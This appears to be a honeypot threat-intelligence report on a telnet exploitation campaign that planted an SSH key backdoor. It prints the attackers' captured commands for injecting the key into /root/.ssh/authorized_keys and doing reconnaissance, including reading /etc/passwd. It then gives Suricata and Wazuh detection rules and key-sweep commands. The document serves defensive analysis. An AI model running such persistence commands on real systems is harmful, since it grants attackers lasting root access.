Telnet exploit + ed25519 SSH key persistence

Executive summary

A telnet exploit that hands over a root shell is bad enough on its own. What this attacker did with that shell is the more interesting part: 76 minutes of methodical work planting an SSH key in /root/.ssh, checking the result after every step, then walking away. The key's own comment field gave up a detail the attacker probably never meant to leave behind.

Sensors observed a series of telnet exploitation attempts achieving unauthenticated remote code execution over a window spanning at least 41 days — the longest-running scanner in this set (2.26.252.153) is still active as of this update, and its earliest visible attempt (2026-05-21) sits right at the edge of our current data-retention window, so its true start may be earlier still. The primary actor (195.86.56.10) achieved 31 successful exploits in a 76-minute burst (an 86% success rate) and established persistence by injecting an ed25519 SSH key with the comment chaos@kali-57ca9a, indicating the attacker operates from a Kali Linux environment. A second actor (107.141.222.62) achieved 3 successful exploits with simpler post-exploitation (reconnaissance only).

This campaign is distinct from credential-based attacks: the actors exploit a telnet service vulnerability to gain unauthenticated shell access, then use that access to install persistent SSH key backdoors. The SSH key comment provides a direct attribution indicator. The attacker is using a default Kali hostname pattern (kali-57ca9a).

Threat actor profile

Exploit activity summary

* Earliest attempt visible in the current PG retention window (data begins 2026-05-21) — 2.26.252.153's true first-seen date may be earlier; this scanner is still active as of the most recent re-check (2026-07-01) and figures above reflect that re-verification, not the original 2026-06-24 publish-date snapshot.

Post-exploitation analysis — primary actor (195.86.56.10)

After achieving RCE via the telnet exploit, 195.86.56.10 executed a systematic SSH key injection sequence. The attacker verifies each step, checking file existence, size, and line count after writing the key:

# 1. Create SSH directory with correct permissions
mkdir -p /root/.ssh && chmod 700 /root/.ssh

# 2. Inject ed25519 key (variable-based approach)
A='ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfv8guaSsyXbOvI7nVcj19fWzpPN9pq9MkpduxxYver chaos@kali-57ca9a'
echo $A > /root/.ssh/authorized_keys

# 2b. Alternative: direct echo (used 4 times)
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfv8guaSsyXbOvI7nVcj19fWzpPN9pq9MkpduxxYver chaos@kali-57ca9a" \
  >> /root/.ssh/authorized_keys

# 3. Set restrictive permissions
chmod 600 /root/.ssh/authorized_keys

# 4. Verify injection (attacker checks the result)
wc -c /root/.ssh/authorized_keys       # 15 times — check file size
cat /root/.ssh/authorized_keys | wc -l  # 7 times — check line count

# 5. Lightweight recon
hostname; id; uname -a | cut -d\  -f1-3

The verification steps (wc -c and wc -l) are unusual — most automated attack tools fire the injection and move on. The presence of verification commands suggests either a semi-automated tool with feedback loops or a human operator checking their work in real time.

The raw command log backs that up further than the two patterns above suggest. Across the 31 successful sessions the actual injection payload rotated through at least seven distinct encodings — plain single- and double-quoted echo, a shell-variable assignment, a base64-encoded blob piped through base64 -d, a byte-by-byte hex reconstruction via xxd -r -p, a <<'KEYEOF' heredoc, and a split echo -n / echo append pair. One base64 attempt (17:56 UTC) even echoed the encoded halves straight into the file without decoding them, writing garbage — evidence this was scripted trial-and-error rather than a single fixed payload replayed 31 times.

Post-exploitation — secondary actor (107.141.222.62)

# Minimal recon — no persistence established
uname -a
hostname
cat /etc/passwd | head -5

The ed25519 key as an attribution IOC

The SSH key comment chaos@kali-57ca9a provides two attribution signals:

• chaos — the local username on the attacker's machine
• kali-57ca9a — the hostname, following Kali Linux's default naming pattern (kali-XXXXXX where XXXXXX is a random hex suffix generated during installation)

This key is a strong, persistent IOC. If this key appears in any authorized_keys file, it indicates this specific attacker has compromised the system. The key should be searched for across all managed hosts.

One exception worth flagging: the very first successful session (17:41:48 UTC, 17 seconds into the burst) injected a different ed25519 key entirely — comment chaos@exploit, fingerprint AAAAIMzKFsTD1Tg0B5Sg4BBsPcBnFMaz0Vv+jkZgP4w3gq7L — before the attacker switched to chaos@kali-57ca9a for the remaining 30 sessions. Read as a default/test key swapped out early in the operation, but it's a real artifact worth including as a secondary IOC below rather than discarding.

MITRE ATT&CK mapping

Campaign timeline

Indicators of compromise

SSH ed25519 key

Network — exploit source IPs

Host — persistence artifacts

Command pattern IOC

Detection signatures

Suricata — ed25519 key string in traffic

alert tcp $EXTERNAL_NET any -> $HOME_NET any (
  msg:"cowrAI ed25519 SSH key injection (chaos@kali-57ca9a)";
  flow:to_server,established;
  content:"AAAAIKfv8guaSsyXbOvI7nVcj19fWzpPN9pq9MkpduxxYver";
  content:"chaos@kali"; distance:0;
  classtype:trojan-activity; sid:9003040001; rev:1;
)

Suricata — authorized_keys manipulation pattern

alert tcp $EXTERNAL_NET any -> $HOME_NET 23 (
  msg:"cowrAI Telnet post-exploit authorized_keys injection";
  flow:to_server,established;
  content:"authorized_keys";
  content:"chmod 600"; distance:0;
  threshold:type both, track by_src, count 2, seconds 60;
  classtype:trojan-activity; sid:9003040002; rev:1;
)

OSSEC / Wazuh — authorized_keys key detection

<rule id="100304" level="14">
  <if_sid>530</if_sid>
  <match>AAAAIKfv8guaSsyXbOvI7nVcj19fWzpPN9pq9MkpduxxYver</match>
  <description>chaos@kali-57ca9a SSH key injected into authorized_keys</description>
</rule>

SSH key sweep — find compromised hosts

# Search for the chaos@kali-57ca9a key across all managed hosts
grep -r "AAAAIKfv8guaSsyXbOvI7nVcj19fWzpPN9pq9MkpduxxYver" \
  /root/.ssh/ /home/*/.ssh/ 2>/dev/null

# Or via Ansible
ansible all -m shell -a \
  'grep -l "kali-57ca9a" ~/.ssh/authorized_keys /root/.ssh/authorized_keys 2>/dev/null'

Collection methodology

Data collected by a distributed honeypot fleet running SSH and Telnet protocol lures. The Telnet lure emulates a vulnerable telnet service that accepts unauthenticated connections. All post-exploitation commands were captured at the application layer, including SSH key injection sequences and reconnaissance commands. Source IP addresses and timing were correlated to distinguish automated scanning from targeted exploitation bursts.